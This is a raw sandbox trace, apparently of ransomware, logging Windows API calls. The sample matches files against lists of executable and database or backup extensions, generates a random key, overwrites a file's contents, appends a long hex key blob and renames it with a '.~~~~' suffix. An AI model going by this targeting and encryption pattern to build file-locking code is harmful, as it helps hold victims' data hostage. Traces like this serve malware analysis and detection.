	[0086.165] lstrlenW (lpString=".dbv") returned 4
	[0086.165] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.INF", lpSrch=".dbv") returned 0x0
	[0086.165] lstrlenW (lpString=".SDF") returned 4
	[0086.165] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.INF", lpSrch=".SDF") returned 0x0
	[0086.165] lstrlenW (lpString=".dtxs") returned 5
	[0086.165] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.INF", lpSrch=".dtxs") returned 0x0
	[0086.165] lstrlenW (lpString=".db3") returned 4
	[0086.165] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.INF", lpSrch=".db3") returned 0x0
	[0086.165] lstrlenW (lpString=".OST") returned 4
	[0086.165] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.INF", lpSrch=".OST") returned 0x0
	[0086.165] lstrlenW (lpString=".dbx") returned 4
	[0086.165] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.INF", lpSrch=".dbx") returned 0x0
	[0086.165] lstrlenW (lpString=".DB3") returned 4
	[0086.165] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.INF", lpSrch=".DB3") returned 0x0
	[0086.165] lstrlenW (lpString=".DAT") returned 4
	[0086.165] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.INF", lpSrch=".DAT") returned 0x0
	[0086.165] lstrlenW (lpString=".VHDX") returned 5
	[0086.165] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.INF", lpSrch=".VHDX") returned 0x0
	[0086.165] lstrlenW (lpString=".ndf") returned 4
	[0086.165] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.INF", lpSrch=".ndf") returned 0x0
	[0086.165] lstrlenW (lpString=".DB") returned 3
	[0086.165] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.INF", lpSrch=".DB") returned 0x0
	[0086.166] lstrlenW (lpString=".sql") returned 4
	[0086.166] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.INF", lpSrch=".sql") returned 0x0
	[0086.166] lstrlenW (lpString=".MYD") returned 4
	[0086.166] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.INF", lpSrch=".MYD") returned 0x0
	[0086.166] lstrlenW (lpString=".DBT") returned 4
	[0086.166] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.INF", lpSrch=".DBT") returned 0x0
	[0086.166] lstrlenW (lpString=".ACCDB") returned 6
	[0086.166] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.INF", lpSrch=".ACCDB") returned 0x0
	[0086.166] lstrlenW (lpString=".fdb") returned 4
	[0086.166] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.INF", lpSrch=".fdb") returned 0x0
	[0086.166] lstrlenW (lpString=".bak") returned 4
	[0086.166] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.INF", lpSrch=".bak") returned 0x0
	[0086.166] lstrlenW (lpString=".myd") returned 4
	[0086.166] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.INF", lpSrch=".myd") returned 0x0
	[0086.166] lstrlenW (lpString=".DTXS") returned 5
	[0086.166] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.INF", lpSrch=".DTXS") returned 0x0
	[0086.166] lstrlenW (lpString=".ckp") returned 4
	[0086.166] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.INF", lpSrch=".ckp") returned 0x0
	[0086.166] lstrlenW (lpString=".dbt") returned 4
	[0086.166] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.INF", lpSrch=".dbt") returned 0x0
	[0086.166] lstrlenW (lpString=".db") returned 3
	[0086.166] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.INF", lpSrch=".db") returned 0x0
	[0086.166] lstrlenW (lpString=".TXT") returned 4
	[0086.166] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.INF", lpSrch=".TXT") returned 0x0
	[0086.166] lstrlenW (lpString=".MDF") returned 4
	[0086.166] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.INF", lpSrch=".MDF") returned 0x0
	[0086.167] lstrlenW (lpString=".bdb") returned 4
	[0086.167] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.INF", lpSrch=".bdb") returned 0x0
	[0086.167] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0086.167] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.INF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0086.167] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804470
	[0086.167] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0086.167] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x39fe28) returned 1
	[0086.168] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0086.168] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0086.168] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0086.168] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0086.168] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x286e200
	[0086.168] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=20615992533) returned 1
	[0086.170] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0x9d2b6190, dwHighDateTime=0x1d60e1e)) 
	[0086.170] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0086.170] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0086.170] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0086.170] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2807d48
	[0086.170] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0086.170] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2807d48 | out: hHeap=0x300000) returned 1
	[0086.170] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0086.170] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0086.170] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x27f4310
	[0086.170] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0086.170] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2874f88
	[0086.170] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f4310 | out: hHeap=0x300000) returned 1
	[0086.170] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0086.171] GetLastError () returned 0x0
	[0086.171] GetLastError () returned 0x0
	[0086.171] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0086.171] GetLastError () returned 0x0
	[0086.171] GetLastError () returned 0x0
	[0086.173] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xfffffe0c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0086.173] WriteFile (in: hFile=0x120, lpBuffer=0x280dfd0*, nNumberOfBytesToWrite=0x1f4, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280dfd0*, lpNumberOfBytesWritten=0x25dfec0*=0x1f4, lpOverlapped=0x0) returned 1
	[0086.173] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280dfd0 | out: hHeap=0x300000) returned 1
	[0086.173] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.173] WriteFile (in: hFile=0x120, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0086.173] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0086.173] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0086.173] CloseHandle (hObject=0x120) returned 1
	[0086.174] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f58f0
	[0086.174] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\slate.inf"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.INF.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\slate.inf.~~~~")) returned 1
	[0086.212] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f58f0 | out: hHeap=0x300000) returned 1
	[0086.212] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0086.223] GetLastError () returned 0x0
	[0086.223] RtlWakeConditionVariable () returned 0x365f70
	[0086.223] GetCurrentThreadId () returned 0x9f4
	[0086.223] GetCurrentThreadId () returned 0x9f4
	[0086.223] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ab960
	[0086.223] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3baee0 | out: hHeap=0x300000) returned 1
	[0086.223] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a6ae8 | out: hHeap=0x300000) returned 1
	[0086.223] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3baee0
	[0086.230] lstrlenW (lpString=".scr") returned 4
	[0086.230] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.INF", lpSrch=".scr") returned 0x0
	[0086.230] lstrlenW (lpString=".cmd") returned 4
	[0086.230] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.INF", lpSrch=".cmd") returned 0x0
	[0086.230] lstrlenW (lpString=".dll") returned 4
	[0086.230] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.INF", lpSrch=".dll") returned 0x0
	[0086.230] lstrlenW (lpString=".bat") returned 4
	[0086.230] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.INF", lpSrch=".bat") returned 0x0
	[0086.230] lstrlenW (lpString=".cpl") returned 4
	[0086.230] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.INF", lpSrch=".cpl") returned 0x0
	[0086.230] lstrlenW (lpString=".sys") returned 4
	[0086.230] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.INF", lpSrch=".sys") returned 0x0
	[0086.230] lstrlenW (lpString=".msc") returned 4
	[0086.230] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.INF", lpSrch=".msc") returned 0x0
	[0086.230] lstrlenW (lpString=".com") returned 4
	[0086.230] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.INF", lpSrch=".com") returned 0x0
	[0086.230] lstrlenW (lpString=".lnk") returned 4
	[0086.230] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.INF", lpSrch=".lnk") returned 0x0
	[0086.230] lstrlenW (lpString=".msp") returned 4
	[0086.230] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.INF", lpSrch=".msp") returned 0x0
	[0086.230] lstrlenW (lpString=".pif") returned 4
	[0086.230] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.INF", lpSrch=".pif") returned 0x0
	[0086.230] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0086.230] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.INF", lpSrch="msp\r\n.pif") returned 0x0
	[0086.230] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\sonora.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124
	[0086.231] lstrlenW (lpString=".sqb") returned 4
	[0086.231] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.INF", lpSrch=".sqb") returned 0x0
	[0086.231] lstrlenW (lpString=".ost") returned 4
	[0086.231] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.INF", lpSrch=".ost") returned 0x0
	[0086.231] lstrlenW (lpString=".txt") returned 4
	[0086.231] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.INF", lpSrch=".txt") returned 0x0
	[0086.231] lstrlenW (lpString=".mdt") returned 4
	[0086.231] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.INF", lpSrch=".mdt") returned 0x0
	[0086.231] lstrlenW (lpString=".BDB") returned 4
	[0086.231] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.INF", lpSrch=".BDB") returned 0x0
	[0086.231] lstrlenW (lpString=".eql") returned 4
	[0086.231] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.INF", lpSrch=".eql") returned 0x0
	[0086.231] lstrlenW (lpString=".DBF") returned 4
	[0086.232] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.INF", lpSrch=".DBF") returned 0x0
	[0086.232] lstrlenW (lpString=".EQL") returned 4
	[0086.232] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.INF", lpSrch=".EQL") returned 0x0
	[0086.232] lstrlenW (lpString=".FDB") returned 4
	[0086.232] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.INF", lpSrch=".FDB") returned 0x0
	[0086.232] lstrlenW (lpString=".EDB") returned 4
	[0086.232] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.INF", lpSrch=".EDB") returned 0x0
	[0086.232] lstrlenW (lpString=".DACPAC") returned 7
	[0086.232] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.INF", lpSrch=".DACPAC") returned 0x0
	[0086.232] lstrlenW (lpString=".VHD") returned 4
	[0086.232] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.INF", lpSrch=".VHD") returned 0x0
	[0086.232] lstrlenW (lpString=".DBV") returned 4
	[0086.232] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.INF", lpSrch=".DBV") returned 0x0
	[0086.232] lstrlenW (lpString=".dacpac") returned 7
	[0086.232] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.INF", lpSrch=".dacpac") returned 0x0
	[0086.232] lstrlenW (lpString=".sdf") returned 4
	[0086.232] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.INF", lpSrch=".sdf") returned 0x0
	[0086.232] lstrlenW (lpString=".accdb") returned 6
	[0086.232] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.INF", lpSrch=".accdb") returned 0x0
	[0086.232] lstrlenW (lpString=".DBX") returned 4
	[0086.232] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.INF", lpSrch=".DBX") returned 0x0
	[0086.232] lstrlenW (lpString=".MDT") returned 4
	[0086.232] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.INF", lpSrch=".MDT") returned 0x0
	[0086.232] lstrlenW (lpString=".SQB") returned 4
	[0086.232] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.INF", lpSrch=".SQB") returned 0x0
	[0086.232] lstrlenW (lpString=".vhd") returned 4
	[0086.232] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.INF", lpSrch=".vhd") returned 0x0
	[0086.233] lstrlenW (lpString=".bac") returned 4
	[0086.233] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.INF", lpSrch=".bac") returned 0x0
	[0086.233] lstrlenW (lpString=".mdf") returned 4
	[0086.233] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.INF", lpSrch=".mdf") returned 0x0
	[0086.233] lstrlenW (lpString=".BAK") returned 4
	[0086.233] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.INF", lpSrch=".BAK") returned 0x0
	[0086.233] lstrlenW (lpString=".BAC") returned 4
	[0086.233] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.INF", lpSrch=".BAC") returned 0x0
	[0086.233] lstrlenW (lpString=".dbs") returned 4
	[0086.233] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.INF", lpSrch=".dbs") returned 0x0
	[0086.233] lstrlenW (lpString=".vhdx") returned 5
	[0086.233] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.INF", lpSrch=".vhdx") returned 0x0
	[0086.233] lstrlenW (lpString=".NDF") returned 4
	[0086.233] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.INF", lpSrch=".NDF") returned 0x0
	[0086.233] lstrlenW (lpString=".dat") returned 4
	[0086.233] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.INF", lpSrch=".dat") returned 0x0
	[0086.233] lstrlenW (lpString=".DBS") returned 4
	[0086.233] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.INF", lpSrch=".DBS") returned 0x0
	[0086.233] lstrlenW (lpString=".CKP") returned 4
	[0086.233] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.INF", lpSrch=".CKP") returned 0x0
	[0086.233] lstrlenW (lpString=".edb") returned 4
	[0086.233] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.INF", lpSrch=".edb") returned 0x0
	[0086.233] lstrlenW (lpString=".PST") returned 4
	[0086.233] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.INF", lpSrch=".PST") returned 0x0
	[0086.233] lstrlenW (lpString=".dbf") returned 4
	[0086.233] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.INF", lpSrch=".dbf") returned 0x0
	[0086.234] lstrlenW (lpString=".SQL") returned 4
	[0086.234] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.INF", lpSrch=".SQL") returned 0x0
	[0086.234] lstrlenW (lpString=".pst") returned 4
	[0086.234] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.INF", lpSrch=".pst") returned 0x0
	[0086.234] lstrlenW (lpString=".dbv") returned 4
	[0086.234] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.INF", lpSrch=".dbv") returned 0x0
	[0086.234] lstrlenW (lpString=".SDF") returned 4
	[0086.234] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.INF", lpSrch=".SDF") returned 0x0
	[0086.234] lstrlenW (lpString=".dtxs") returned 5
	[0086.234] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.INF", lpSrch=".dtxs") returned 0x0
	[0086.234] lstrlenW (lpString=".db3") returned 4
	[0086.234] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.INF", lpSrch=".db3") returned 0x0
	[0086.234] lstrlenW (lpString=".OST") returned 4
	[0086.234] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.INF", lpSrch=".OST") returned 0x0
	[0086.234] lstrlenW (lpString=".dbx") returned 4
	[0086.234] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.INF", lpSrch=".dbx") returned 0x0
	[0086.234] lstrlenW (lpString=".DB3") returned 4
	[0086.234] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.INF", lpSrch=".DB3") returned 0x0
	[0086.234] lstrlenW (lpString=".DAT") returned 4
	[0086.234] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.INF", lpSrch=".DAT") returned 0x0
	[0086.234] lstrlenW (lpString=".VHDX") returned 5
	[0086.234] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.INF", lpSrch=".VHDX") returned 0x0
	[0086.234] lstrlenW (lpString=".ndf") returned 4
	[0086.234] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.INF", lpSrch=".ndf") returned 0x0
	[0086.234] lstrlenW (lpString=".DB") returned 3
	[0086.234] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.INF", lpSrch=".DB") returned 0x0
	[0086.234] lstrlenW (lpString=".sql") returned 4
	[0086.235] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.INF", lpSrch=".sql") returned 0x0
	[0086.235] lstrlenW (lpString=".MYD") returned 4
	[0086.235] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.INF", lpSrch=".MYD") returned 0x0
	[0086.235] lstrlenW (lpString=".DBT") returned 4
	[0086.235] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.INF", lpSrch=".DBT") returned 0x0
	[0086.235] lstrlenW (lpString=".ACCDB") returned 6
	[0086.235] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.INF", lpSrch=".ACCDB") returned 0x0
	[0086.235] lstrlenW (lpString=".fdb") returned 4
	[0086.235] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.INF", lpSrch=".fdb") returned 0x0
	[0086.235] lstrlenW (lpString=".bak") returned 4
	[0086.235] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.INF", lpSrch=".bak") returned 0x0
	[0086.235] lstrlenW (lpString=".myd") returned 4
	[0086.235] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.INF", lpSrch=".myd") returned 0x0
	[0086.235] lstrlenW (lpString=".DTXS") returned 5
	[0086.235] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.INF", lpSrch=".DTXS") returned 0x0
	[0086.235] lstrlenW (lpString=".ckp") returned 4
	[0086.235] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.INF", lpSrch=".ckp") returned 0x0
	[0086.235] lstrlenW (lpString=".dbt") returned 4
	[0086.235] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.INF", lpSrch=".dbt") returned 0x0
